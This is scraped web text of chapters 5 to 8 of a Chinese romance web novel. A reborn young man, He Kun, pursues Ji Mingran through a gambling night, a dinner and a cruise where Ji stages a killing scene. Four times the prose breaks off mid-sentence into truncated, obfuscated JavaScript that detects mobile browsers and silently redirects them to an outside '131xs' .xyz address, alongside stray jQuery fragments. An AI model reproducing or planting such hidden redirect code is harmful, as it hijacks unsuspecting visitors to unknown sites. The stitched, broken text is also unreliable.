l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993785|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只可惜纪明冉含水的双眸格外明亮,在黑暗里也喋喋不休地诉说着爱语,贺琨没有手了,只好抱着恋人,藏进了更黑更密闭的被子里...... 在轮船之旅的最后一个傍晚,贺琨搂着纪明冉在阳台上看落日,残阳洒落在波光粼粼的海面上,金光闪烁,偶有孤鸟略过天际线消失不见,湿热的海风夹杂着淡淡的咸味拂过相拥的两人。 “纪明冉,和我结婚,好不好?” 贺琨看不见纪明冉的表情,半晌也没听见纪明冉的回复,后悔得直骂自己是个傻逼。 此时的开口实在是不合适,没有钻戒,没有鲜花,没有单膝下跪,什么都没有,他略有慌张的开口想要补漏:“我......” 怀中的人却在此刻回头,捧起他的脸颊,视线一寸寸扫过,缓慢而认真。 纪明冉在想什么,贺琨不得而知。 只觉得过了很久很久,他听见一道天籁,将他的心从烈火炙烤中解救。 “好,先同居,等你26岁,我们就结婚。” 贺琨“刑满释放”,反倒得寸进尺起来,生起气来:“哼,还有四年呢,我就知道你嫌我年纪小,不成熟。” 纪明冉没有回答,闭眼吻住了贺琨。 到底是觉得自己年轻幼稚,还是不相信自己的爱,或者其他? 问题的答案,贺琨永远不知道,因为他26岁生日时,世上已经没有纪明冉这个人了。 — 贺琨睡得正沉,却被一阵铃声吵醒,接起电话没想到竟是梦中主角之一打来的,吴云旗的声音很清晰。 “阿琨,我爸最近来兰临谈项目,我也被逼着来了,今晚出来玩玩,兰临我都没几个认识的人在,只有你了,别拒绝我啊!上次一起喝酒还是年前的事了,你真是越来越难约了。” 贺琨和吴云旗因为生活节奏不统一,确实比从前疏远了些。 但从小的情分还在,不远不近的牵绊着。 今天李老师回首都去拿些重要资料,贺琨恰好有空:“好,地址发给我。” 夜色降临,兰临市早晚温差大,贺琨随便扯了件外套,打车去了吴云旗给的地址,等到时,里面已经开始了,正热闹。 贺琨推开门,吴云旗眼尖,立马就看见了:“喂!阿琨,这边,”吴云旗嘴角叼着烟杆,拨弄手中的牌堆,一脚踹在旁边的椅子上:“起来起来,给你贺二爷让位置。” 椅子上男人谄媚地笑笑,立马起身迎接:“二少,快请来坐,吴少就等着您呢。” 贺琨微微点头,直接走过去坐下,牌桌上的人掏出怀中的香烟,恭敬地送到贺琨手边。 既然来都来了,贺琨自然是已经做好陪云旗玩尽兴的准备,他顺手接过,含入薄唇之间,身侧的年轻男生乖顺地为他点燃,重新倒上了一杯酒。 “牌桌上,得赌点什么吧,不然干巴巴的没意思!”吴云旗起哄道。 话音刚落,立马就有随声应和的。 “那,就赌这张船票吧!” 5. 第五章 初次见面 一个顶着棕色锡纸烫的男青年站出来,举着张蓝色船票,定制版面,设计精美。 贺琨目光一凌,直直看过去,心中有个猜想,很快也得到了证实。 坐在他身侧的男生微伏身子靠近:“是纪家游轮的船票,这张票房号好,就在纪小爷的隔壁,所以前天在拍卖会上可是翻了好几倍的身价呀。” 那么这张船票为什么会流落到拍卖会,现在又被拿出来当噱头?贺琨摸了摸额角的已经结痂的伤口:“好,就赌这张票。” 吴云旗本是觉得没什么意思,因为他家已经收到邀请了,阿琨那边肯定也是,但既然是阿琨开口想玩,倒也无所谓:“好!来来来!” 锡纸烫青年带着筹码上了桌,贺琨许久未曾接触这些,刚上手时还有些不熟,几轮过去,反倒将自己随身多年的腕表给输了。 “哟,怎会回事,阿琨,以前可没几个人玩的过你,手生了,手生了!”吴云旗端起酒杯,一派嬉皮笑脸。 “有失才有得,我这不是看中那船票了。”贺琨不在意地笑笑,回应云旗的打趣。 坐在贺琨身边小男生看着表盘背后闪闪发光的logo,心都在滴血,全球限量、私人定制,有钱人就是不一样哈,短暂仇富一秒。 桌上还在你来我往的进行着,锡纸烫青年满脸红光,双目充血,今晚手气实在太好了,他的打法越来越大胆,口中骂骂咧咧,在酒精的影响下状态愈发癫狂不可控。 贺琨看在眼里,皱了皱眉,自己从前也是这般模样吗?纪明冉想和他分手,反倒很正常。 他心中倏地升腾起浓烈的自我厌弃,只想赶紧逃离这欲望裸露流动之地,贺琨翻开底牌,结束赌局:“船票归我。” 洗手间内,水流哗哗往下淌和外面的雨声交织在一起。 恰逢是雨季,最近兰临市的雨水很多,站在窗边还有股幽幽的泥土香,贺琨用水抹了把脸,清明了些许。 他取出口袋中的船票,房号019,版面确实漂亮,灯光下近看还有似有若无的水纹,仿佛已经置身海洋之上,但他不可能去。 贺琨再次回到包间,云旗还正在兴头上。 刚才作陪的男生情商也高,似乎看出他兴致不高,主动起了个话头解闷,贺琨一搭没一搭地聊着,时不时回应上云旗两句,时间过得倒也还快。 等散场的时候已经凌晨3点多了,贺琨架着醉得不省人事的云旗,打算先将他送回酒店,没想到云旗临了却说:“阿琨,你今晚来,我还真挺开心的,大家都说你变了,我以为你都不乐意理睬我这个二世祖了。” 贺琨心中感慨,拍拍云旗的头,故意混不吝道:“哪能啊,贺二爷心里有人了,得乖些,忘了谁还能忘了你?” 吴云旗醉得很,开始抱着贺琨哇哇大哭,眼泪倒是没几滴,贺琨哭笑不得,又陪到了云旗睡着才离开。 贺琨回到酒店躺下,一觉睡到了第二天中午,起来时候还有些懵,30多岁的灵魂直呼老了,遭不住了。 他叫酒店前台送来一份海鲜粥,整点清淡的。 窗外还在下雨,没有停歇的意思,贺琨接到了冯平的电话。 “二少,纪明冉先生邀约您明天晚上共进晚餐,感谢您上次出手帮助。” 贺琨手中的勺柄落下,砸在瓷碗边发出脆响。 “二少?要推拒了吗?”冯平半天没听见答复,试探性开口。 “不,不用,我明天回首都。” “好的,那我把您出行安排好,跟着发给您。” 贺琨挂了电话,像是还在梦里,有些不真切。 他走到书房打开抽屉,赫然躺着一张海蓝色的船票,冉冉邀请他的真正原因,是因为这个吗? 翌日,贺琨用酒店送来的纯白信封将船票装起来,袖扣也应该一并交还最好。 但是临走前,贺琨又私心地将它扣留下来。 首都的天气相对干燥很多,风也比较大,这才离开一个月不到,就有些不习惯了。 贺琨先了趟回家,将野外考察的登山服换下,选了套更显成熟的西服马甲,深灰带棕,镜中23岁的他,看起来稳重不少。 最后带上银丝眼镜,侵略性极强的五官也温润了些许。 晚上,贺琨提前到了约定的地点,服务员却告诉他:纪先生已经在包间等候多时。 他跟着服务员往里走,这家餐厅风格是传统中式的,青砖回廊曲折如游龙,漏窗将四时之景框成自然的画作,此时风过竹林,窗棂中墨绿碎片在金辉下跃动,妙趣灵动。 贺琨将其尽收眼底,赞叹此园林设计之妙,有机会可以邀请李老师和师兄来此聚餐。 当走过第七个拐角处的冰裂纹花窗,服务员缓缓停下脚步:“贺先生,这边请。” 他走进雅间,小茶几旁已然是那道熟悉的身影,纪明冉提着圆润的青瓷茶壶,淡绿色茶水缓缓倾泻而出:“好久不见,贺琨。” 春夏之交,花枝繁茂,窗外夕阳渐斜,金光笼着他,鲜花簇拥他。 贺琨低头,找回自己的声音:“好久不见。” 服务员将菜品上齐,关门而出,封闭的空间内终于只余下两人。 纪明冉打量着贺琨,额角还有道淡粉色的痕迹,为人沉默低调,和肃山的调查结果极为吻合。 他收回视线,拿起桌上的黑丝绒首饰盒,推到贺琨面前:“物归原主。” 贺琨顺着那雪白的手腕向下看,等那人将手中收回,才拿起盒子,缓缓打开。 是那支腕表,前夜在赌场输掉的那支。 他瞳孔微颤,一时不知道解释什么好,就听对面继续道:“贺二少戴了许久,定是心爱,还是妥善保存为好。” “贺琨,不是贺二少。” 纪明冉被这不按逻辑出牌的发言打了岔,哑口无言的人倒变成了自己,心中莞尔一笑:“好吧,贺琨,你有什么想说的吗?” “是意外,票我也带来了,希望没有影响到你的安排。” 贺琨拿出先前准备好的白色信封递给纪明冉,就算没有今天的邀约,也是要还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993786|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他的。 纪明冉再次打量贺琨,最后没接:“拿着吧,没什么影响,欢迎你来我的晚宴。” “好。” “谢谢。” 纪明冉顿觉索然无味,对面像个人机,一戳一蹦跶:“快吃饭吧,待会菜都凉了。” 饭局后半程,天空一声炸雷,首都也终于赶上了雨季的尾巴,贺琨看着窗外廊檐直流的雨水,落在青砖上绽成水花,心怀侥幸,或许这样可以再待一会。 可惜纪明冉时间有限,正如天下没有免费的午餐,自然也没有等来的荣誉与臣服。 这场风雨困住的只有贺琨一人。 纪明冉离开的时候都没空和贺琨道别,他听着电话那头的汇报,朝贺琨微微点头致意,利落地转身离去。 贺琨不敢逾矩半步,于是目送纪明冉离开。 其实,那天在车上避难时,纪明冉口中的“初次见面”并不是真的初次见面,纪明冉忘记了,但贺琨还记得。 — 19岁那年,贺琨从病房中醒来,始终这一切以为是上天赐予他重新开始的机会。 那时他想要的很多,他要纪明冉活着,要纪明冉爱上他,要纪明冉和他长相厮守。 在办理出院手续那天,一切都是那么巧合,贺琨和哥哥去参加纪家宴会,是为刚回国的小儿子举办的。 人群中,一眼就看见了纪明冉,贺琨偏执认为是天意安排,他前几日还在大海捞针般查询纪明冉的下落,而今天纪明冉就这般轻飘飘地来到了他身边。 唯一的预料之外,就是发现冉冉就是这纪家的小儿子。 贺琨看着纪明冉在人群中推杯换盏,嫉妒如带刺的藤蔓肆意疯长,紧箍在他心间,嫉妒着任何一位能停留住纪明冉目光的人。 他端着酒杯站在宴会厅角落,克制、压抑、沉默,在纪明冉去世后的漫长时光中,贺琨最擅长这些。 那天晚宴上,他在心中打了千万遍的腹稿,关于和纪明冉的第一句话。 直至纪明冉去了露台,贺琨再也没能控制住自己。 他追着那道身影,来到露台。 夜风微凉,月光像一层透明的纱幔罩在他的冉冉身上,银辉从其指间倾斜而下,烟蒂上细碎的火星倏地坠落,消失在夜色中。 纪明冉不开心。 贺琨便什么也顾不得了,准备好的措辞也被抛之脑后。 贺琨听见自己说:“我带你走,好不好?” 那天纪明冉没转身,只是又抽出一支香烟,耐着性子说:“烦请离开。” 贺琨很笨,他笨拙地去讨好,去爱。 咔嚓—— 是打火机的声音,火光在贺琨手心跃动,他举着这微小的火焰,小心翼翼地递到了纪明冉的唇边。 纪明冉抬眸,二人对视,贺琨被那眼神冷得一愣。 夜风掀起,镀银打火机口的那抹橙红被风肆意拉扯,变得细长而摇曳不定,最后湮灭消散,不留痕迹。 那人说:“以后离我远些,你很烦。” 6. 第六章 纪明冉坏 纪明冉刚挂电话,肃山已经将车开到了餐厅门前,门生举着把黑色雨伞,恭敬地将纪明冉送进车内,微笑告别。 上车后,肃山便问:“贺琨这边,还需要盯吗?” 纪明冉隔着雨幕看向餐厅门前,贺琨慢一步出来,轮廓影影绰绰,站在灯下点燃了一支烟:“嗯,继续。” 纪明冉主动举办晚宴非同小可,他的身后站着纪家,位于西海岸的母族实力不弱。 大多数公子们可能就此挥霍人生,他却野心勃勃、果断狠厉,尽管表面上如此温和。 宴会不仅为了娱乐,也是利益联结的渠道,但是纪明冉还有一个目的,找人。 放出去的票是饵,有的人刺杀不成,想来已经气急败坏。 只是这两次都巧合入局的贺琨实在是可疑,纪明冉邀请贺琨吃饭,肃山在明面上候着,肃江在暗处拭枪。 可惜这个人太安静了,就算相对而坐,也没有什么存在感。 除了出色的外貌,其余平淡到像无味的凉白开, 纪明冉转头又忘了这个小插曲。 他近日连轴转,奔赴了一场又一场,幕后操手的公司浪岭最近的开发项目也到了关键时期,今晚必须见到白塔研究中心负责人。 — 贺琨在首都待了一晚,隔日驾车去往贺青峰的别墅,自打贺氏夫妇去世后,贺青峰和贺琨相继搬离了贺家老宅,只有逢年过节回去小住。 贺家人口简单,也算一股清流。 因为父母忙于工作,贺琨从小受养兄贺青峰看顾较多,后来贺父贺母走得早,贺青峰在哪,贺琨就把哪视作家。 贺琨的世界很简单。 纪明冉说过,他就像一朵小玫瑰,生长在精心打造好的玻璃花房中,每天只管绽放就好,其余自会有人为他打点好。 贺琨细数下来,说得也没错,自嘲自己两辈子确实如此。 贺青峰拿着平板坐在客厅里,应当是在处理公司事项,贺琨弯腰换鞋:“哥,我回来了。” 贺青峰点点头,放下手中事务:“嗯,吃饭吧。” 贺琨接过阿姨递来的湿巾正想擦手,厨房里冒冒失失跑出来个清纯男大,还端着一盘磕碜的拍黄瓜。 贺琨满脸问号,转头看向他哥,西装革履,端得那是人模狗样。 “哥,你,还好这口?” 贺青峰无奈地捏了捏眉心,正想开口解释,却被清纯男大雀跃的发言打断了:“小贺?你就是小贺?” 贺琨被一个猛地扑脸吓到,默不作声地后撤两步,这才看清来人的相貌。 宋榄医生?? 是上一世陪峰哥把自己接回家的那个年轻医生。 “小贺,你和你哥长得一点都不像嘛。” 贺琨无奈转头,控诉地看向贺青峰,宋榄视而不见,还在自顾自地念叨。 “安静,都给我坐好吃饭。” 贺琨躺枪:哥?我开口说话了吗我? 三人刚上桌,宋榄医生还在嘀嘀咕咕,很快将峰哥的餐盘码起小山高,当然有一半都是那道磕碜的拍黄瓜。 贺青峰额头青筋微跳:“宋榄,再胡闹你就回去!”又看向贺琨介绍道,“小琨,这是宋榄,在医科大学就读,比你大两岁。” 贺琨以前皮成那样,贺青峰都很少炸毛,宋榄医生到底得是多讨他哥的嫌啊。 贺琨看在眼里,同情宋榄医生,怪不得几年后,两人之间看起来冷冷淡淡的。 “宋榄哥好。” “嗯,好好好,小琨真乖啊,不过,当然是青峰哥教得好。” 对面的宋榄医生实在跳脱,一会年轻一会老的,贺琨选择低头吃自己的饭。 贺青峰懒得理,埋头慢慢消灭盘中的小山,开口问贺琨:“后天纪小先生的游轮晚宴,你去不去?” 贺琨心跳动起来,胸口处的那枚船票又开始彰显存在,他含糊回复道:“可能去吧,到时候再说。” 贺氏夫妇去世早,留下年幼的贺琨与庞大的家业,旁系虎视眈眈,恨不得把贺琨给生吞了。 贺青峰挺身而出,力排众议,护着他走到今日。 虽是养子,但也是记挂在贺父贺母名下,守住了主家的荣誉。 贺琨自由惯了,做事随性而为,贺青峰在应酬方面从未强迫于他,这次自然也是。 宋榄抢过话头:“他不去,青峰哥带我去呗!” 贺青峰斜睨过去,宋榄终于闭了嘴。 午后,贺青峰已回公司,贺琨坐在门口换鞋,准备离开。 地面上投来一道阴影,贺琨仰头看去,是宋榄。 穿着粉色小熊围裙,身上还有浓郁烤蛋糕的香气,看起来两人像是同居了。 只见宋榄弯起嘴角,眸子漆黑:“小琨,你知道你父母的死因是什么吗?” 贺琨皱起眉头,他对宋榄的印象仅停留于上一世疗愈过程中的谈话,白衣大褂,认真负责,现如今越看越不对劲。 “你什么意思?” 宋榄嘻嘻一笑,夸张地捂住嘴:“啊,没什么没什么。” 贺琨不打算把宋榄的话放心上,由于贺青峰的出身,挑拨离间他见多了。 他拿起手机给贺青峰简单说明,转身便去车库选了辆中规中矩的黑车,安静驶向仟华设计院。 纪明冉今日有一个主题演讲,在设计院开展。 贺琨特意挑好时间进入会堂,此时大厅里已经坐满一半多的人,并不显眼,众人切切察察,小声交流,他挑了个不起眼的角落位置落座。 没间隔多久,纪明冉便在掌声中登台,可能是为了契合设计院的氛围,今日穿着添了几分休闲,减了些商务,他举起话筒侃侃而谈。 “各位老师、同学们,下午好.......” 演讲主题围绕校企业平台合作促进创新科技落地转化,纪明冉利用前沿技术展示,效果很是生动,现场氛围也比较热烈。 贺琨想,纪明冉就是与生俱来的领袖。 他在台下黑压压的人群中,他们之间似有一道深不可越的天堑。 只有藏匿于众人的目光中,他才稍敢将自己的目光倾注。 演讲结束得十分准点,贺琨拎起外套退场,要去赶飞回兰临的飞机,刚到车场却发现汽车轮胎瘪了。 他弯腰一阵检查,试图找寻些人为的痕迹,他脾气好,不是没脾气,刚好今天贺琨从早开始就不是很愉快。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993787|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺琨?” 熟悉的声音过耳,贺琨背影一僵,汗毛立起。 他深吸一口气,起身回头:“纪先生。” 纪明冉站在肃山前面,身形挺拔如松,已经换上了商务西装,应该接下来还有事。 贺琨这才发现,纪明冉好像高了不少,起码是比自己高的。 贺琨小小的不开心了一下。 “你的车?” “没事,车轮坏了,我已经叫人来了,贺先生有事先忙。” 纪明冉低头看表:“时间还早,你去哪?” 贺琨最后还是上了纪明冉的车,说没有私心是假的,说不开心也是假的。 车内很安静,纪明冉应当是很忙,上车便翻开了蓝色文件夹的审阅。 结果才出市区几公里,肃山那边便接到了加急的电话。车载蓝牙连接着,电话那头催着肃山,迫切地请纪先生赶紧过去主持大局。 纪明冉面露尴尬,歉意地看向贺琨。 能和纪明冉说话,本来就已是意外之喜。 纪明冉如今有急事,被丢在郊区的人是贺琨,但安慰人的还是贺琨。 “没事,我的助理很快就到,纪先生有事先忙,不必在意。” 纪明冉走了,送贺琨的路上不紧不慢,走的时候倒是飞快,只给贺琨留下一身汽车尾气。 他坐在驶回市区的车上,点亮手机查看天气预报,果然是要降雨。 纪明冉嘴角一弯,通身舒畅。 而贺琨这边,淋了雨,飞机还晚点。 冯平提着贺琨换下的湿淋淋的衣服,都替二少觉得倒霉:“怎么每次遇到这纪小先生,准没啥好事。” 贺琨撇了冯平一眼,无奈笑笑:“可能,运气都花光在遇见他这件事上了。” 冯平听得莫名其妙,但是他为人直男:“哦,也是,一来二去就熟悉了,没准还能搭上纪氏的项目。” 折腾到半夜,贺琨终于回到了兰临市的酒店,不孚众望的感冒了。 第二日背上画板去小山口采集古建信息时,只觉得喉咙烧得痛,李老师拍着他肩膀说:“年轻人的身体怎么比我这个老头子还差?回去市里去吊个针水,快去。” 贺琨想着自己这两日都没过来,有几个部分的结构记录,他必须亲自上手,便给李老师说:“老师,没事,我今日再看看,实在坚持不住再说。” 李老师见小徒弟有自己的打算,哼哼两声,又不放心的嘱咐两句才背着手离开。 正午日头正高照,贺琨跟着李老师从殿内出来,李老师指着正门两侧的檐柱:“整体修长挺拔,较焱朝更为纤细,自上而下略有收分,卷杀更显线条雅致柔和......” 贺琨努力集中注意观察,却愈发涣散,头重脚轻,直至身形微晃,失去意识。 等再次醒来,已经躺在了酒店里。 手机对话框中显示着李老师强制勒令他休息养病的消息,贺琨不用听都想象得出老师耳提面命的模样,哑然失笑。 床头柜上的船票幽幽泛蓝,今晚便是登船时间,贺琨计划是在小山口伴着古建,如今却躺在酒店。 飞往金湾港口的最后一班飞机,划过天际,留下一道薄纱状的航迹云。 7. 第七章 你个子高 “什么?!你真去了?我不信。” 贺琨开着免提,师兄的声音在耳边炸开。 他躺在019号房间两米多宽的床上,打开手机摄像头,海鸥展翅划过落地窗,留下影子掠过洁白的床单,很快一张高清海景图出现在两人的对话框里。 “我去,你变了,你变得令我陌生!但是!师兄看好你。” 贺琨笑起来:“不过,确实有些冲动了。” 应该是发烧给脑子烧糊涂了。 贺琨昨晚胡乱抓了件换洗的衣物,昏昏沉沉地登上了飞往金湾港口的最后一班飞机。 他回忆着,蜷起手指扣了扣床单,仔细想想还是有些后悔。 要是纪明冉看见他,生气了怎么办。 “好事,早该有个结果,说不定纪明冉没你想象那么完美呢。” “师兄,我只是登船了,又不是今晚就要和他表白。”贺琨压低音量,嗓音沙哑。 “不好说,李老师那边我帮你瞒着。”蒋斌带着几位本科生进行课题汇报,上课铃一响,他立马道:“其他自己看着办啊,回教室了。” 贺琨挂断电话,今天晚上有场晚宴,因为是第一场,所以比较正式。 可他连一件正装也没有,而且还是少在纪明冉眼前晃悠。 于是,午餐是乘务组送到房间的,晚餐还是乘务组送到房间的。 直到众人都去了一楼大厅,贺琨才出来透透气,天际线那头的残阳坠入海平线,将天际晕染成一片瑰丽的紫霞,从浅绛渐变为浓郁的黛紫,最后化为墨蓝。 楼下的欢腾热闹偶尔传来,贺琨艳羡,在关于纪明冉的一切里,他已经是被宣判了“死刑”的囚徒,终不见日。 但是来都来了,总归是会遇见的。 夜晚的海风带来些许凉意,贺琨终于想起自己还发着低烧,他环顾四周半晌,不见任何乘务员的身影,打算顺着楼梯去下船舱看看。 船上应该有备用药物,退烧药最好,或者简单的感冒药也好过现在。 贺琨下到第一层,长廊的米白色大理石地面倒映着璀璨水晶灯的光芒,丝绒帷幔从穹顶垂落,缀着细碎的珍珠般的灯串,只是依旧空无一人。 贺琨有些奇怪,但好奇心并不是什么好事,他打算转身离开,地下船舱却传来瓷器摔碎的脆响,十分突兀。 继续往下走?还是回房间休息? 当然是回房间。 才迈开两步,忽地又一道男声响起,听不清说什么,但音色太熟悉了,贺琨心提道嗓子眼,果断回头,又从餐厅门口的木柜中顺出一把备用餐刀,往下走去。 有两个乘务员打扮的男人守在漆黑的地下船舱门口,耳朵上别着耳麦,倒也正常,方便乘务员沟通。 贺琨顶着攻击性极强的俊脸往前靠近,无比自然地抬手推门,像是完全没有看见看守的两位乘务员。 两位乘务员四目相对,连忙上前阻拦。 贺琨这才像是注意到两人的存在,他漫不经心地开口:“贺爷我都不认识了?让开。” 右侧那位高大些的乘务员站出来,看起来更有话语权。 “贺先生,地下船舱涉及到很多运行作业,为保障客人们的人身安全暂不开放,非常抱歉。” “呵,”贺琨低头嗤笑,看似烦躁地将额前的碎发撩起,露出线条凌厉的眉骨,“听不懂人话了?” “贺先生,您再不配合,我们就要不客气了。”左侧那位上前一步,微微施力压住贺琨的手腕。 贺琨一脚踹在来人肚子上,说话的人没防备顿时脸颊煞白,按压着腹部,跪倒在地。 “别威胁我啊,很烦。” 对面之人眼中划过一抹狠厉,猛地挣脱贺琨的压制,挥拳出去。 贺琨侧身一闪,准备应对。 那乘务员却突然站在原地,动作凝固在空气中,神色古怪,他按压着耳麦点头回应:“好。” 贺琨皱眉不解,只见那乘务员拉起地上的同伴迅速离开了。 他心中有个猜测,结束了?贺琨不敢细想,如同一阵风般往船舱跑去,只恨自己刚才出手不够果断,磨唧太久了。 底舱阴暗潮湿,和游轮上方的华丽对比鲜明。机械运作声古怪幽长,设备、燃料或是货物层层堆叠,在黑暗里犹如食人的野兽。 贺琨终于看见一盏微弱的灯光,在前方拐角处的小房间里,他拼命瞪大眼睛却什么也看不清,胸腔烧得全身发麻发痛。 自然也看不见房间后门快速闪过的黑影。 等贺琨在靠近些,他终于看清了那道白色身影,纪明冉,是纪明冉,还活着。 冉冉站在一旁,洁白的西服染上了鲜血,胸口的蓝玫瑰还缀着露珠,而身前之人倒在血泊中,看起来死透了。 这真是太好了。 贺琨站在门口,扶着门框喘息,纪明冉应该是听见了他的脚步声和喘息,缓缓转身,手中握着锋利的碎玻璃片,血迹污秽。 “贺琨?” 人是纪明冉让门口的看守者放进来的,贺家这位行二的小朋友,最近老是纠缠着他,纪明冉很是困扰。 这些温室里长大的少爷们总是一时兴起,既然贺琨想看,纪明冉就干脆放人进来,让他从头到尾看个够,最好彻底害怕了,再也别出现。 纪明冉见人半天没有反应,以为是被吓傻了,但万万想不到贺琨开口竟说: “别怕啊,别怕,他们绑架你,你只是正当防卫,不怕。” 贺琨眼中,纪明冉声线微微颤抖,眼中泪光微闪,洁白的脸颊下方还有飞溅干涸的血珠,贺琨心都要碎了,连忙上前将纪明冉扶住。 他捧着纪明冉的脸颊小心翼翼地抹去那些血迹,又将自己的风衣脱下来盖在纪明冉的身上,才去查看地上尸体。 这人他认识,是从小跟着纪家二少的跟班。 “这是纪焯的人,上次高架的事应该也是纪焯出手,”贺琨转头见冉冉显然不在状态,暗怪自己粗心,“没事,交给我处理,先回去休息,好吗?” 纪明冉反应了一会,才缓缓点头。 贺琨打开手机电筒走在前面半步,向后抬手,没有落入掌心熟悉的温度。 他蓦然反应过来,没敢回头看那人的表情,只觉得自己蠢到家了,赶紧收回那支想牵住纪明冉的手。 “跟紧我,这里比较黑。” 贺琨专心在前面开路,再次错过了纪明冉眸中的恶劣。 — 海面被月光揉成碎银,将银纱倾洒在浪尖,每朵浪花都镶上了流动的银边,粼粼波光漫过甲板围栏,照进宽敞舒适的豪华套房。 “滴——” 房门被磁卡刷开,019房间的灯被点亮。 贺琨转身,熟练地找到角度低头看去,没有想象中的对视,只有纪明冉的深蓝色领结。 如果无语能具象化,此时贺琨头上定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993788|178082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有6个小黑点。 果然还是不习惯。 23岁还年轻,正是身体努力的时候,得让冯平购入些进口钙片,指不定还能再长点个。 最起码得让冉冉看起来觉得很可靠,这是成熟1应该具备的基本素养和身材管理能力。 但是现在,贺琨只能拉开距离,避免仰视:“纪先生,您的房间今夜恐怕不安全,不如先在我这里休息。” 纪明冉神色恹恹,点头同意,随后上前一步:“又给你添麻烦,今晚我睡窗前的小榻,你睡床吧。” 贺琨再退一步:“没事,您今天受惊了,需要好好休息,我睡小榻吧。” 纪明冉还是坚持让贺琨在床上休息,自己睡在落地窗前的贵妃榻上。 两人不断谦让,最终贺琨双眼一闭,沙哑嗓音微微拔高:“你睡床好吗?你个高。” 场面死寂,只有窗外浪潮卷起又散去的声音。 贺琨清嗓,侧身指向浴室:“纪先生先洗漱,我出去处理一下事情,如果累了就先休息,别怕,我很快回来。” 贺琨交代完毕,四肢僵硬地离开,死嘴,在说什么啊,怎么能承认自己矮呢。 他不奢想和纪明冉成为恋人,但是也不想给纪明冉留下幼稚软萌1的印象啊啊啊。 贺琨试图让自己忘记,他拨通电话,走到贺青峰的客房前等待。 结果来开门的是宋榄,表情很臭:“大少爷,拜托你看看现在几点,能有点礼貌嘛。” 贺琨还没开口,贺青峰的声音先传来:“宋榄,闭嘴。” 哥哥扣着衬衫扣子走出来,胸膛上还留有红色的痕迹。贺琨这才反应过来,赧颜摸鼻,对宋榄道:“不好意思。” 贺青峰带贺琨走进书房,关闭房门:“怎么回事?” “哥,纪焯的下属死了,尸体还在底舱,当时我也在场。” 贺青峰显然想不通,贺琨怎么会惹到纪家人,毕竟自家弟弟素日向来省心安静。 但他冷静迅速地理清了思路,拿起桌上的手机。 ...... —— 纪明冉看着贺琨开门、离开、关门。 他将自己的阴暗面揭开,收到的不是恐惧、不是厌恶,而是疼惜,他以为会崩溃畏惧的青年反而上前抱住了满身污秽的自己。 所以,贺琨是将他看作了需要保护的对象? 可他们不合适。 纪明冉将贺琨的风衣脱下来,高高挂在实木衣架的最上方,又走到阳台上吹了吹风,直到恢复平静才转回房内。 他慢悠悠地取出西服口袋中沾血的蓝玫瑰,随手丢在路过的小茶几上,随后摸出一枚耳麦:“肃江。” 对面很快传来回复,正是小房间中从后门溜走的那道黑影:“纪先生,我在。” “人已经钓出来了,接下来该收网了,肃江。” “是,纪先生。” “哦,对了,看着贺琨是如何处理纪焯的人,必要时帮帮他,别被发现。” “是,贺青峰的人已经过来了。” 纪明冉将耳麦摘下,掰断压碎,洗手台水流声响起。 镜面映出一张昳丽至极的脸,似笑非笑,神情温柔。 墨发如鸦羽,眼尾微挑泛红,垂眸时长睫在眼下投出蝶翼般的阴影,双手在泡沫中交叠摩挲,眼底是窥不破的暗潮翻涌。 今夜所有的痕迹,在水流中皆被一一抹去。 8. 第八章 要亲才行 贺琨在走廊上站了有十来分钟,只要抬手推开这扇门,就可以见到纪明冉,在染满自己气息的软床上休息,就是那么简单。 他从24岁等到30岁,又从19岁等到23岁。 纪明冉会醒着吗?亦或是睡着了? 尽管只是穿着简单的衬衫,贺琨还是低头整理了一番才踏进房间,紧接着纪明冉的声音传来: “你回来了?” 那人穿着游轮特供的定制睡袍,半靠在柔软的床屏上,手机屏幕还发着微弱的光,贺琨一眼扫过去,应当是在睡前看些行业前沿资讯。 看起来神色安定,早些时候的慌乱失神已然消失不见,贺琨想,这也很正常,毕竟纪家那样的家族,冉冉能快速地适应调整也是件好事。 却丝毫不曾怀疑,也许这一切都是纪明冉安排好的。 “嗯,很晚了,你要休息吗?”贺琨装作不在意地收回视线,恢复到了往日平平淡淡的模样。 纪明冉弯起眉眼,在柔和的灯光下温柔至极,他也像是知道自己容颜很有杀伤力般: “本来是打算直接休息的,但想到贺二少还在为我忙前忙后,决定还是等等吧,最起码,道个晚安。” 